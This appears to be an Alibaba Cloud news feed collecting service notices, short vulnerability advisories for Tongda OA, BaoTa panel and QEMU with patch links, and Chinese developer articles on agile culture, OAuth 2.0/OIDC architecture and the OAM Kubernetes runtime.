    维护影响:届时 .biz 域名的注册、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、转入、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】8月26日DDoS高防(国际)升级通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【DDoS高防(国际)】【升级通知】

    升级窗口:北京时间2020年8月26日 10:00 - 22:00

    升级内容:清洗网络增加英国节点
    升级影响:升级后国际高防线路将新增回源网段,具体网段信息如下所示。如果您当前正在使用国际高防线路并且在服务器侧有相关针对源IP的访问控制策略,请及时更新白名单放行下述回源网段,避免误拦截造成业务影响。

    国际高防线路新增回源网段信息如下:

    170.33.88.0/24 

    170.33.92.0/24

    170.33.93.0/24 

    170.33.90.0/24

    8.208.75.0/26

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【漏洞预警】通达OA 多个高危漏洞 Fri, 02 May 2025 09:39:03 +0800

    2020年8月20日,阿里云应急响应中心监测到通达OA官方发布安全更新,其中修复了多个高危漏洞。


    漏洞描述

    通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件。近日通达OA官方发布安全更新,其中修复了多个高危漏洞。攻击者通过文件删除漏洞,以及配合早期版本的后台文件上传漏洞,可以获取服务器系统权限。阿里云应急响应中心提醒通达OA用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    文件删除漏洞:通达OA V11.6

    任意文件上传:通达OA < V11.7

    结合任意用户登录利用链:通达OA < V11.5


    安全建议

    通达OA官方已经发布相应安全加固程序,请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。

    安全更新下载地址:https://www.tongda2000.com/download/sp2019.php


    相关链接

    https://www.tongda2000.com/



    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.8.20

    ]]>
    【漏洞预警】宝塔面板数据库管理未授权访问漏洞 Fri, 02 May 2025 09:39:03 +0800

    2020年8月23日,阿里云应急响应中心监测到宝塔官方发布安全更新,修复了一处未授权访问漏洞。


    漏洞描述

    宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。近日宝塔面板官方发布安全更新,修复了一处高危漏洞。攻击者通过访问特定路径,可以直接访问到phpmyadmin数据库管理界面,并可借此获取服务器系统权限。阿里云应急响应中心提醒宝塔面板用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    Linux版本 7.4.2版本

    Linux测试版本 7.5.14版本

    Windows版 6.8版本


    安全建议

    宝塔面板官方已经发布相应安全加固程序,请根据当前版本选择所对应的程序文件,运行前请先做好备份。

    安全更新下载地址:https://www.bt.cn/bbs/thread-54644-1-1.html


    相关链接

    https://mp.weixin.qq.com/s/XSDbyU-5TNzFCrp0sb0qKw



    阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测


    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单联系反馈。

    阿里云应急响应中心

    2020.8.23

    ]]>
    【漏洞预警】Qemu 虚拟机逃逸漏洞(CVE-2020-14364) Fri, 02 May 2025 09:39:03 +0800

    ISC2020第八届互联网安全大会上,QEMU-KVM虚拟机的0day漏洞(虚拟机逃逸)被公开。该漏洞可越界读写某一个堆之后0xffffffff(4 GB内存)的内容,可实现完整的虚拟机逃逸。阿里云已于2019年12月完成该漏洞的修复,云上主机已不受该漏洞影响。


    2020年8月24日,qemu 官方更新了安全补丁修复该漏洞,漏洞编号:CVE-2020-14364,https://xenbits.xen.org/xsa/advisory-335.html


    漏洞详情

    2019年11月17日天府杯国际网络安全大赛,第一次暴露出QEMU-KVM虚拟机的0day安全漏洞。2020年08月13日,ISC2020第八届互联网安全大会上,该漏洞被公开。该漏洞可越界读写某一个堆之后0xffffffff(4 GB内存)的内容,可实现完整的虚拟机逃逸,最终在宿主机中执行任意代码,造成较为严重的信息泄露。经阿里云工程师分析后判定,该漏洞是 Qemu 历史上最严重的虚拟机逃逸漏洞,影响到绝大部分使用 OpenStack 的云厂商。


    解决方法

    阿里云已于2019年12月完成该漏洞的修复,云上主机无需做修复操作。

    如果您有相关需求或反馈,请提交工单联系阿里云。


    相关链接

    https://help.aliyun.com/document_detail/179131.html

    阿里云应急响应中心

    2020.8.24

    ]]>
    Agile Development敏捷开发——培养敏捷精神-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Manifesto敏捷开发宣言

    Offical 官方:

    Manifesto for Agile Software Development

    We are uncovering better ways of developing
    software by doing it and helping others do it.
    Through this work we have come to value:

    • Individuals and interactions over processes and tools
    • Working software over comprehensive documentation
    • Customer collaboration over contract negotiation
    • Responding to change over following a plan

    That is, while there is value in the items on
    the right, we value the items on the left more.

    Translation 翻译:

    敏捷开发宣言

    我们正在探索更好的发展方式通过做它和帮助别人做它。
    通过这项工作,我们认识到:

    • 个人和交互胜过过程和工具
    • 工作软件优于综合文档
    • 客户合作胜过合同谈判
    • 响应变化而不是遵循计划

    虽然右边有价值,但是左项具有更大的价值。

    Wrong Name Comprehend 错误的命名理解

    agile 翻译出自牛津英汉汉英词典

    ① (lithe) 敏捷的 ‹person, animal, movement›; (fit) 灵活的

    ② attributive(mentally acute) 机敏的 ‹mind, intellect›*

    敏捷,拼音是mǐn jié,解释出自百度百科

    意思指反应(多指动作或言行)迅速快捷。如:敏捷地跳上敞篷车,敏捷地翻身上马,敏捷地躲过攻击。出自《汉书·酷吏传·严延年》:“延年为人短小精悍,敏捷於事。”

    通过上述两个翻译的对比我们不难看出关于敏捷一词,中英的理解其实是完全不同的,在汉语中敏捷一词表达的更重要的意为迅速

    然而在英语的语境中,当aglie形容人时,意也指,然而当aglie用来形容思维时,更注重的是机敏灵活。

    所以这里更加取决于无论boss也好,leader也好,亦或是程序员也好,大家的共识里面认为软件开发究竟是一个体力活,还是一个头脑风暴,思维实现的过程。在进入公司的第一天,leader便告诉了我一个团队信条,“听懂做到讲明白”,"Jump to white board from keyboard",只有从根本上认可自己做的工作是思维工作而非重复劳动,才能深刻的理解到"敏捷"一词的意思。

    可是如果我们将《敏捷开发》翻译为《机敏开发》/《灵活开发》,可能敏捷开发对于当今的业界影响力,应该会大打折扣。毕竟敏捷开发这4个字就会得到boss或者leader的认可,因为快速高效正是中小型公司或是大型公司需要贯穿整个企业的工作方式。

    回归到敏捷开发真正的含义:一种一人为本,团队合作,快速响应变化和可工作的软件作为宗旨的开发方法。

    敏捷开发的高效并不在于一味的快速,敏捷开发推崇的是一个正向的循环,通过产品的不断迭代,每一次的code review (代码评审),product review(生产发布评审),Requirements review(需求评审),Standing meeting Daily(每日站会)来实现快速高效,协作同步。团队经历了不断的磨合,自然而然的最后可以回归到boss和leader的需求:快速高效。

    所以敏捷开发对于一个研发团队而言,可以拉平大家的信息理解,让大家可以随时确认大家的设计思想是一致的,而不是在中间的理解中出现了理解偏差,使得最后的整个产品根本不满足于市场。相信各位经历过程序返工的同僚,都可以想象真正的低效缓慢正是做的事不被boss/leader认可,不被市场认可,疲于返工,从而团队共识分崩离析,进入一个无限的恶性循环。

    Waterfall Development VS Agile Development

    在网络上提到瀑布式开发,总会给人一种二极管的感觉,更有一种踩一捧一的感觉,通过踩瀑布式开发来捧敏捷开发。这对于瀑布式开发个人认为是完全不公平的,难道瀑布式开发就真的被敏捷开发给完爆了吗?其实不然

    Waterfall Development 瀑布式开发

    (图片出自百度图片)

    1. Requirements/analysis(需求分析/调研)
    2. Design(设计)
    3. Coding(编码)
    4. Testing(测试)
    5. Maintenance(项目运维)

    Agile Development 敏捷开发

    图片出自敏捷开发入门教程-阮一峰

    1. 项目启动(Initial planing)
    2. 需求分析(requirements analysis)
    3. 设计(design)
    4. 编码(coding)
    5. 测试(testing)
    6. 部署和评估(deployment / evaluation)

    contrast对比

    瀑布开发 敏捷开发
    工作模式 以文为本:
    1. 文档将贯穿整个项目生命周期,从(需求分析,软件设计,编码设计,测试用例,运维部署)每个阶段都将输出相应的文档
    2. 每一个阶段的文档输出后都将作为下一个阶段的输入
    3. 以文档为基准,交流的作用不一定有文档可靠
    4. 产品上线后即可满足用户90%的需求,之后只需要投入少量的运维成本
    以人文本
    1. 强调了团队的合作,需要团队的共同协作与配合,实时拉平大家的理解,当然并不是说文档不重要,而是团队协作以人为本更加重要
    2. 迭代是产品的核心思维,产品的第一次上线可能结果并不乐观,但是需要根据市场的反馈来进行迭代,与各个团队的员工拉平市场的需求,进行产品的迭代
    3. 不断的迭代迭代,最终将产品进入一个正向循环的模式
    项目周期 第一次发布通常会花上半年及以上的时间,产品上线后投入少量人手运维即可 通常第一次发布会在两个月内,之后不断的迭代,实现符合市场的产品
    优点 1. 目标明确,各个阶段大家只需要完成自己的工作,最后输出相应的文档即可
    2. 产品上线后,即可撤出大量人手投入新的项目开发中,只需要少量人员运维即可
    3. 在团队中调配相应资源时非常的明确,因为各个阶段的目标是明确的
    1. 在经过了不断的迭代之后,输出的产品一定是符合市场需求的
    2. 灵活性高,如果出现了巨大的市场变革,亦或是紧急的需求,只需要加入新一轮迭代即可
    3. 以人为本,调动整个项目各方(包括市场)的参与,理想形态下,开发模式将不再是分配制,而是各个成员主动承担工作
    缺点 1.风险高,各个阶段如果有一个地方出错,那么将作为输入传入下一阶段,最终做出的产品或许完全无法满足市场的需求,需要回炉重做
    2.如果出现市场变革基本等于项目死亡,紧急的需求的插入也将影响整个软件的开发,甚至可能需要从头设计
    3.会出现人员空滞的情况,因为各个阶段都需要等待上一阶段的输出结果后才会展开工作
    以人为本,就是敏捷开发最大的风险。你是否可以相信团队中的每一个人,大家是否拥有着敏捷开发的五个价值观(出自敏捷开发Scrum):
    - 承诺 – 愿意对目标做出承诺
    - 专注– 把你的心思和能力都用到你承诺的工作上去
    - 开放– 项目中的一切开放给每个成员看,大家共同分享
    - 尊重– 尊重团队中的每个人,就事论事而不是有色眼镜看人
    - 勇气– 有勇气做出承诺,履行承诺,接受别人的尊重
    是否可以对每一个团队成员说出 “你永远可以相信我”
    适用项目 需求明确,在开发周期中(一年内)定不会出现巨大市场变革 互联网项目,敏捷开发可以响应互联网快速的发展变更
    需要急速上线,抢占市场的项目

    通过上述的对比我们可以看出,并不是任何产品都适合敏捷开发,敏捷开发并不是一个万灵药,如果在不适当的项目跟中强行使用敏捷开发,反而会让它变成愚笨开发,因为我们会将明确的需求反复沟通,反而降低了研发效率。更重要的是,你团队中的成员是否适合敏捷开发,以人文本即为敏捷开发的核心思想。

    培养敏捷精神

    敏捷开发的核心是以人为本,关于敏捷开发的流程,具体实现,在网络上已经有很多了,大家随时都可以看到网络上给出的示例,以及请专业的敏捷团队来公司进行培训。本篇文章的主要主题是如何培养敏捷的精神 ,接下来将会根据我从书籍文档中,工作经验中学到的敏捷精神,希望阅读了的你,不会感觉文章是一篇口水话鸡汤,而是能让你感同身受的文章。

    1. Blame can't help 指责没有帮助任何事

    指责并不会修复bug更不会帮助任何事。遇到问题我们的反应如果都是去思考解决问题的方案,而不是解决导致问题的人,才是一个正向的循环。

    勇敢的承认自己不知道的答案,与团队的各个成员讨论。如果出现了一个重大的错误,应该被当做是一个学习的机会而不是落井下石的机会,团队中应该互相帮助,而不是落井下石。特别是如果有一个东西,大部分人都知道是坑,此时去诱导一个并不清楚的人跳下去,就算自己逃过了一劫,那么在这样的团队中,怎能知道下一个坑自己是否能够躲过呢?如果次次都躲过,你并不会成为受人尊敬的人,而是行业老油条,是受人背地里唾弃的人,别人又将如何尊重你?

    你可能会说,如果真的有团队成员一而再,再而三的对团队造成了负面的影响,那么此时他应该离开团队,但我们并不该周而复始的指责他。

    2. Don't blindly seek of speed 不要盲目追求速度

    在各个公司,亦或是各个团队中,都会有一套编码规范,如果盲目的追求速度,我们就会在我们的代码中增加许多的魔法值,漏掉注释。最后这段代码将会晦涩难懂,甚至作者本身都不一定能看懂如何实现。

    追寻代码规范,不盲目追求速度,对自己新增的变量/对象命名负责,对自己的代码块注释负责,才是一个研发最基本的素养,而不是将代码工作想象为一场赛马比赛。如果遇到自己不确定的问题,特别是性能/设计上的问题,一定要向同事请教。

    我上周便向我的leader请教了

    假如同一个业务涉及到三张关联表。
    做某个接口服务时,是三表联查,直接得出结果,还是三个表分别查做隔离,组合成最后结果。

    leader和研发同事们都给出了自己的理解与解决方案,令我受益匪浅,或许在这类性能问题发生之前,我都不会再去因为这个问题而痛苦,当问题发生时,我相信我的团队会和我一起著力于解问题,得到更加适合的解决方案

    以下是我综合同事和leader给出的解决方案得到的答案:

    1. 根据阿里巴巴规范:首先超过三张表关联强制禁止join
    2. 如果单表查询能够使用缓存或者复用,建议使用单表
    3. 虽然多表关联能够省去很多业务代码,但是绝大多数情况并不能带来性能上的很大提升,数据库关联查询也会增加SQL的复杂度
    4. 单表查询还便于以后扩展分库分表,SQL层优化空间大,业务层对于大数据量可使用一定算法解决性能问题
    5. 在C端项目中,我们要完全避免联合查询,在B端项目中,我们可以尽可能避免联合查询,在G端项目中,我们完全无法避免联合查询

    3. Focus on issue,not person对事不对人

    人人都懂的道理,人人都喝过的鸡汤,却很难做到的事。做不到对事不对人,只会给整个团队带来一种消极,人人自危,人人想落井下石的氛围。

    Negativity kills Innovation (消极扼杀创新):

    我们每个人都可以想到一些极好的创新想法,同样也有可能萌生一些特别憨憨的想法。如果提出自己的观点前,担心自己被嘲笑,甚至被批评,你将会扼杀掉自己的创意。任何一个出色的产品都需要大量的创新力和市场洞察力,分享各自的观点,融合彼此的优良创新设计,才可以做出一款好的产品。

    “你不需要很出色才能起步,但你必须起步才能变得出色”——莱斯布朗

    “能欣赏自己并不接受的想法,表明你的头脑足够有学识”——亚里士多德

    以下的话说给作者自己听:

    如果你连起步的勇气都没有,请问出色和你这辈子能有什么关系呢?

    在抒发每个人的idea的过程中,我们一定会遇到无休止的讨论,甚至最后从头脑风暴变成了扯淡大会也不是没有可能,如何避免这类情况的发生呢?

    • 设定最终期限:在最终期限时,如果没能确定到最好的方案,我们需要的是寻找最适合的方案,而不是无休止的讨论,需要落地思维碰撞
    • 逆向思维:寻找方案/idea的缺点,如果最终有一个方案的缺点都是大家可以接受的,那么这个方案是不是就是最好的方案呢?
    • 仲裁人:仲裁人需要做到绝对公正,如果有人从头脑风暴变成了扯淡大会,那么需要仲裁人出来制止,维持会议正常进行
    • 支持决定:落地的方案需要执行下去,除非能够证明方案是错的,否则请尊重大家制定的方案

    4. Brave 勇气

    人类的赞歌就是勇气的赞歌 出自《JOJO的奇妙冒险》

    勇气,勇敢这是一个大家都从小听到大的概念,但是想要拥有勇气,拥有勇敢,真的是相当困难的事,做一个有勇气的人,这句话真的是能让人耳朵都听出茧来,又更何况在一家企业中这么做呢?

    勇气会让人感觉有点不自在,鼓足勇气需要魄力。有些时候,它是扫除障碍的唯一途径,否则问题将进一步恶化下去,最终会变成,明明知道了错误,却不断的将错就错。鼓起你的勇气,这能让你从恐惧中解脱出来。当然这是在你已经知道了正确答案的情况下,如果你此时的工作正是一个前无古人后无来者的工作,你作为这艘船上的船员,自己都不知道下一个领域会是哪里的时候,此时你的勇气究竟是破釜沉舟的航行下去,还是下船,这是一个哲学问题?如果你正在做一件没人知道答案的事,很羡慕你,我也想如同你一样。

    5.Tracking changes 跟踪变化

    互联网的进步实在是太快了,个人感触最深的例子就是jQuery与三大前端框架,这里甚至给了我一种断层式进步的感觉。再说到java,如果关注java的新特性,我们会发现从java8的Lambda到jdk14中间出现的各类语法糖,都会发现java正在不断的向函数式编程靠拢,js中也引入了很多面向对象的概念,每一门语言都在不断的去完善自身的特性,如果我们闭门造车,无法追随行业的变化,和在监狱中的囚犯又有什么区别呢?在电影《肖申克的救赎》中,当囚犯回归到城市时因为完全无法适应现代的变化,而在旅店选择了自杀,而主角因为不断的写信,阅读,始终与时代接轨,最终完成了自己的救赎。

    监狱的可怕并不在于关押了人很多年,更可怕的事情是,也许你自己成为了自己心灵的囚徒,是自己内心的监狱禁锢了你自己。

    想起来前段时间在网络中看到的一段很有意思的话

    任何在我出生时已经有的科技都是稀松平常的世界本来秩序的一部分。

    任何在我15-35岁之间诞生的科技都是将会改变世界的革命性产物。

    任何在我35岁之后诞生的科技都是违反自然规律要遭天谴的。

    ——英国科幻作家道格拉斯·亚当斯

    任何比我早出生10年及以上的人都是裹步不前的老顽固。

    任何出生时间和我相差10年以内的人都是这个社会的精英,中流砥柱。

    任何比我晚出生10年及以上的人都是无可救药垮掉的一代。

    ——纳什·沃夏尔·硕德

    囚徒究竟是被监狱囚禁了?还是自己囚禁了自己?

    如何做到跟踪变化呢?

    • 迭代和增量式学习:

    知识投资也是一样。你需要定期投资最低限度的时间量。养成一种习惯,如果需要的话。躲到你的家庭办公室里去或者走进有无线网络的咖啡厅。并非每期学习都同样富有成效,但是只要定期安排学习,长期来看一定会成功。如果你一直在等待空闲时间或者等待灵感的突现,那么它永远都不会发生。

    安排自己定期的学习时间,听到不熟悉的术语/新鲜事物时,记录下它,计划时间深入研究它

    • 逛逛论坛,知乎,掘金社区,简书,github:社区永远是最潮流的地方,书籍的潮流程度将会低于社区,但是书籍的严谨程度高于社区
    • 如饥似渴的阅读:reading,reading,reading!

    我扑在书本上,就像饥饿的人扑在面包上!——高尔基

    • 跟踪技术变化:不需要精通每一门技术,但是我们需要了解行业动态,规划自己的职业生涯

    个人脑洞:如果有一天出现了一门完全取代了java的语言,我会怎么做?我能否提前发现技术更迭的征兆,成为技术革命的受益者呢?

    6. Investment your team 对你的团队投资

    总是要成为你所在的那个乐队中最差的乐手。如果你是乐队中最好的乐手,就需要重新选择乐队了 ——爵士吉他手Pat Methany

    追赶团队,和团队中的各个成员形成正向的互补,有勇气抱有开放的心态与团队中的成员分享,尊重团队中的成员给出的意见,承担团队的任务。构建属于团队的学习平台。如果你认为分享知识你就亏大了,除非你是一个国家级的科研工作者,需要签订严格的保密协议,否则我们需要思考自己是不是井底之蛙呢?当你视若瑰宝的东西有一天被人发现所有人都知道了,甚至有更好的方案时,你那是的脸会不会像被人用皮鞋踢过一样,开始无能狂怒呢?最后愤然感慨“任何在我35岁之后诞生的科技都是违反自然规律要遭天谴的。”任何比我晚出生10年及以上的人都是无可救药垮掉的一代。

    7.Reduce 减法

    参考文档

    《高效程序员的45个习惯——敏捷开发修炼之道》

    敏捷开发入门教程-阮一峰

    github地址

    ]]>
    Why Oauth2.0?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Guide

    本文仅作为Oauth2使用参考,如果本身已经接触过Oauth2.0,希望本篇文档能帮你打开一些思路,能够让你清晰的选择是否要使用Oauth2.0

    如果没有了解过Oauth2.0,请跳转阮一峰Oauth2.0讲解

    Base Q&A

    Question

    如果你最近正在参与关于是否要使用Oauth2.0的会议,你是否会在会议中不断的回到三个很基础的问题:

    • 什么是Oauth2.0?
    • Oauth2.0存在的意义是什么?
    • 为什么要使用Oauth2.0?

    Answer

    1. 首先我们需要明确一点Oauth2.0是协议,它包括了如下特征:

      • 授权协议:

      授权是Oauth2.0思想的核心,其目的就在于拥有了授权,就能够通过授权取得权限范围内的受保护资源

      • 委托协议:

      当用户授权第三方软件获取部分用户数据时,其本质就是资源所有者委托了第三方进行资源的使用

      • 安全协议:

      安全问题永远是互联网最为核心的问题,Oauth2.0协议本身就推荐了相当多的安全处理方案,因此说Oauth2.0也是安全协议

    更需要永远记住的一个观点是,Oauth2.0不是一种身份认证协议,如果思维不能明确Oauth2.0的协议边界线,那么接下来的讨论我们将会不断的回到上述提到的3个问题。

    1. OAuth 2.0 就是保证第三方(软件)只有在获得授权之后,才可以进一步访问授权者的数据
    2. OAuth 2.0 一词中的 “Auth” 表示 “授权”,字母 “O” 是 Open 的简称,表示 “开放”。简而言之Oauth的核心思想在于开放授权,因此在使用Oauth协议时,我们也不禁需要确认自己的远大目标,是否要做一个开放授权的系统

    谈到Oauth2.0就不得不提到Oauth1.0:

    在 OAuth 1.0 的时候,它有个 “很大的愿望” 就是想用一套授权机制来应对现实中的所有场景,比如 Web 应用场景、移动 App 应用场景、官方应用场景等等,但是这些场景并不是完全相同的。比如官方应用场景,你说还需要让用户来授权吗?如果需要,始终使用一套授权机制给用户带来的体验,是好还是坏呢?到了 OAuth 2.0 的时候,就解决了 OAuth 1.0 面临的这种“尴尬”。OAuth 2.0 不再局限于一种授权机制,它扩充了授权许可机制类型,有了授权码许可机制、客户端凭据机制、资源拥有者凭据机制和隐式许可机制。这样的 OAuth 机制就能够很灵活地适应现实中的各种场景,比如移动应用的场景、官方应用的场景,等等。

    具体的Oauth1.0 vs Oauth2.0比较可以参考下方参考文档,这里暂不赘述

    总结下来使用Oauth2.0的原因就是其改善了自身的授权机制,优化了安全处理,采用了多种授权的形式,以此来适应如今互联网在授权中会遇到的各类问题

    4 characters

    Oauth2.0中最重要的四个角色

    • 资源拥有者
    • 受保护资源服务器
    • 授权服务
    • 第三方应用

    不管我们在开放授权中的各类形式讨论,我们所有的讨论应该基于这4个角色,而不是在于使用Oauth2.0的哪种模式,因为模式的选择,其本质需要考虑所谓第三方应用是否可信,大家所处的是内部局域网,还是纯正的互联网第三方

    Todo Question

    希望上述的讲解可以让大家同步的是Oauth2.0的基本问题,如同做一个SaaS平台一样,我们需要的是先讨论什么是SaaS,什么是租户隔离,而不是刚开始就讨论如何去实现SaaS设计

    Q1:Oauth2为什么不是身份认证协议?

    在很多次的讨论中,我们会发现我们总是会认为Oauth2需要去实现用户的身份认证,因为获取授权的第一步,也是最重要的一步就是获取身份认证,这样我们才能判断是否要颁发access_token给请求方。既然说到了Oauth2不是一个身份认证协议,那么身份认证协议是什么呢?

    Answer1:OIDC

    OIDC是OpenID Connect的简称,OIDC=(Identity, Authentication) + OAuth 2.0(身份认证+授权协议)

    身份认证协议OIDC,他是Oauth2.0的加工版,如同我们将面粉加工成了面包

    在OIDC中会出现3个最为重要的角色:

    • EU(End User):代表最终用户
    • RP(Relying Party):第三方软件,即为认证服务的依赖方
    • OP(OpenID Provider):代表提供身份认证服务方。

    image-20200819160625871

    上图即为OIDC中的三角色与Oauth2.0中的四个角色的关系

    实现OIDC与实现Oauth2.0的区别是什么?

    根据目前的Oauth2实现方案,我们在用户登录授权后会返回4个值:

    • access_token
    • refresh_token
    • exp_time
    • refreshExp_time

    而基于OIDC的实现则会在返回第5个非常重要的信息:id_token

    可能谈到这里大家会比较恼火,为何又多了一个从来没有听说过的东西?微信开放平台不也没有id_token这种东西吗?

    基于我个人的认知,我个人认为微信开放平台是目前最为标准的Oauth2.0协议开放平台了,其实微信一直都返回了id_token

    相信大家可以看到在微信的获取access_token返回接口中返回了一个参数:openId

    其实openId的本质就是id_token,只是id_token的本质就是一个携带用户信息的jwtToken,微信在这里不过是返回形式直接返回了用户id,而非一个token的形式,毕竟如果是jwtToken我们又不得不去考虑它的自验证性的问题了,既然都是要暴露给第三方应用供其解析的,那openId自然可以明文返回

    聊到这里,大家应该明白了,我们目前的access_token中,携带了类似于openId的用户唯一标识,也就是说我们将access_token的功能放大了,他变成了一个身份认证授权通过token,而不是一个单纯的授权token了

    说的最为简单直白:

    id_token的作用代表了它是哪个用户

    access_token的作用在于可不可以访问

    那么我们需要回到话题了,我们做错了吗?是否access_token就一定不能携带用户信息呢?

    其实不然,在健身领域,关于健身补剂一直有一句俚语,抛开剂量谈毒性就是耍流氓

    在我们的身份认证服务中,我个人认为也有相应的一句俚语,抛开环境谈实现也是耍流氓,必须要考量的环境问题一定是

    大家之间是否可信?大家是否同属局域网还是互联网中?

    接下来将要来今天要讨论的第二个话题了

    Q2:如何选择适合我们家的实现

    首先一定会选择微服务架构,在此基础上我们将会考量如何实现OIDC,接下来的问题,参考文档皆为微服务架构设计-Oauth2&JWT

    这个架构的一个比较友好的地方在于,架构思路是基于k8s实现

    名词解析:

    End-User: 最终用户

    Internet:互联网

    FW:防火墙

    Nginx:Nginx反向代理

    Web:部署服务器

    Gateway:网关

    IDP:Identity Provider 认证服务提供者,实现框架:Spring-security可以考量

    BFF: Backend for Frontend 后端For前端微服务层

    DomainSvc:整个微服务架构的底层。这些服务包含业务逻辑,通常有自己独立的数据库存储,还可以根据需要调用外部的服务

    DB:数据库

    根据微服务分层原则,领域服务禁止调用其它的领域服务,更不允许反向调用 BFF 服务。这样做是为了保持微服务职责单一(Single Responsibility)和有界上下文(Bounded Context),避免复杂的领域依赖。领域服务是独立的开发、测试和发布单位。在电商领域,常见的领域服务有用户服务、商品服务、订单服务和支付服务等。

    由此我们可知晓,无论是BFF还是DomainSvc都不会去存储用户的信息,因为他们都是通过JWT token中包含的用户信息来获取,而JWT token中的用户信息来源是在于IDP服务所对应的LoginSvc Customer DB中

    接下来我们将会根据各个实际情况作为考量点

    Answer2-1:第一方应用 + 资源拥有者凭据模式

    第一方应用,即为完全由我们开发的且处于同一局域网下的完全可信的应用

    因为完全可信,我们可以选择OAuth 2.0 的资源拥有者凭据许可(Resource Owner Password Credentials Grant)

    相信大家看到这里一定会有了争论,这就是我们之前讨论的核心问题了,到底要不要将用户表集成进IDP中,但是我们当时都会产生一个额外的争论,就是Oauth只是一个授权服务。是的如果只看Oauth,我们永远只能得到这个结论,Oauth只是一个授权服务,可我认为我们的问题是否应该考虑,我们要做的是Oauth2.0还是OIDC呢?如果是OIDC,这一切是否就是即符合微服务架构思想,又符合OIDC协议,包含了Oauth2.0协议呢?

    Answer2-2:第三方应用+授权码模式

    关于第三方应用的定义,我们如何来界定一个第三方应用,我认为这一点是相当有必要确认好的

    需要判断第三方应用是否由我们开发,如果不为我们开发,则肯定是第三方应用

    如果由我们开发,处于同一局域网,是否是第三方应用?不处于局域网只能通过互联网交互,是否是第三方应用?

    从上述图示,我们可以得知,用户必须要在守望有用户信息才可以通过授权码模式得到对应的授权码,从而获取access_token

    以上就是关于Oauth2.0的第三方应用+授权码模式的获取Token流程

    综上所述,个人认为关于access_token中是否可以携带用户信息,应该取决于是否第一方应用,如果是第一方应用,对于受保护的资源而言是相当可信的,那么我们可以将用户信息密文存入token中,如果是第三方应用,认为应该将access_token与用户openId分开返回

    之后关于Oauth2.0的安全问题与防止攻击,将会在之后的文档中更新

    参考文档:

    PKCE代码交换证明密钥协议

    OIDC解析

    微服务架构设计-Oauth2&JWT

    极客时间-Oauth2.0实战课

    Oauth2.0 vs Oauth1.0
    github地址

    ]]>
    OAM 创始团队:揭秘 OAM Kubernetes 实现核心原理-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 image.png

    今年 5 月,阿里云和微软云共同宣布,Open Application Model (OAM) 社区携手知名混合云管理项目 Crossplane 社区,联合发布了 OAM 在 Kubernetes 平台上的标准实现与核心依赖库。本次合作达成后,OAM 社区成功的将标准应用定义和标准化的云服务管理能力统一起来,迈出了实现真正意义上的无差别云端应用交付的关键一步 。

    去年 10 月 ,阿里云和微软共同推出了 OAM 项目,旨在构建围绕 Kubernetes 的云原生应用规范。OAM 描述了一个模型 —— 开发人员可以在其中定义应用程序组件;应用程序操作员负责创建这些组件的实例并为它们分配应用程序配置;基础架构运营商负责定义、安装和维护平台上可用的基础服务。

    本次合作是阿里云、微软与 Crossplane 社区的三方技术合作,主要围绕 OAM 在 Kubernetes 上的标准实现以及 Crossplane 项目的 OAM 化展开。因为 Kubernetes 社区在落地 OAM 模型的过程中,提出了关于 OAM 标准实现的诉求。所以这次合作的一个重点,就是三方工程师使用 Go 语言开发了一个 OAM Kubernetes 核心依赖库。这个项目的名字叫做 oam-kubernetes-runtime。OAM Kubernetes Runtime 将会成为 OAM 社区官方维护的基础组件,目标是在 Kubernetes 上提供稳定且统一的 OAM 核心插件。

    为进一步了解本次合作的细节以及 OAM 项目的现状,阿里云高级技术专家 Andy Shi 以及阿里云技术专家孙健波(花名:天元)接受开源中国的专访,共同探讨了 OAM 项目存在的意义。

    详情戳:https://www.oschina.net/question/4487475_2317219

    OAM 因何而生

    我们知道,应用容器技术自诞生开始,就以 “彻底改变了软件打包与分发方式” 的魅力迅速征服了几乎所有的云厂商与数据中心。不过,软件打包与分发方式的革新,并没有能够让软件本身的定义与描述发生本质的变化,基于 K8s 的应用管理体验,也没有让业务研发与运维的工作变得更简单。

    实际上,Kubernetes 带来的云原生技术革命,在于实现了基础设施层的标准化和抽象,但这一层抽象距离业务研发与运维还是太过遥远了。一个最典型的例子,直到今天,Kubernetes 里面始终都没有 “应用” 这个概念,它提供的是更细粒度的 “工作负载” 原语,比如 Deployment 或者 DaemonSet。

    而在实际环境中,一个应用往往是由一系列独立组件的组合,比如一个 “PHP 应用容器” 和一个 “数据库实例” 组成的电商网站;一个 “参数服务节点” 和一个 “工作节点” 组成的机器学习训练任务;一个由 “Deployment + StatefulSet + HPA + Service + Ingress” 组成的微服务应用。

    “应用” 这个概念在 Kubernetes 项目中的缺失,既是一个有意而为之的设计,却也造成了今天云原生应用管理生态的极度碎片化和极高的学习门槛。如何通过标准化的方式去解决这个 “Kubernetes 里到底什么是应用” 的问题,正是 OAM 项目发布的最初始动机。

    有什么意义?

    在 OAM 发布之前,云原生生态里其实并没有一个叫做 “应用” 的概念。哪怕在今天,全世界几乎每一个在落地云原生的团队,都有一个自己定义的 “应用” 的概念,它们的抽象程度层次不齐,定义方式也丰富多样,这就导致了所有围绕着这些 “应用” 构建出来的系统,就成为了一个又一个的大烟囱。

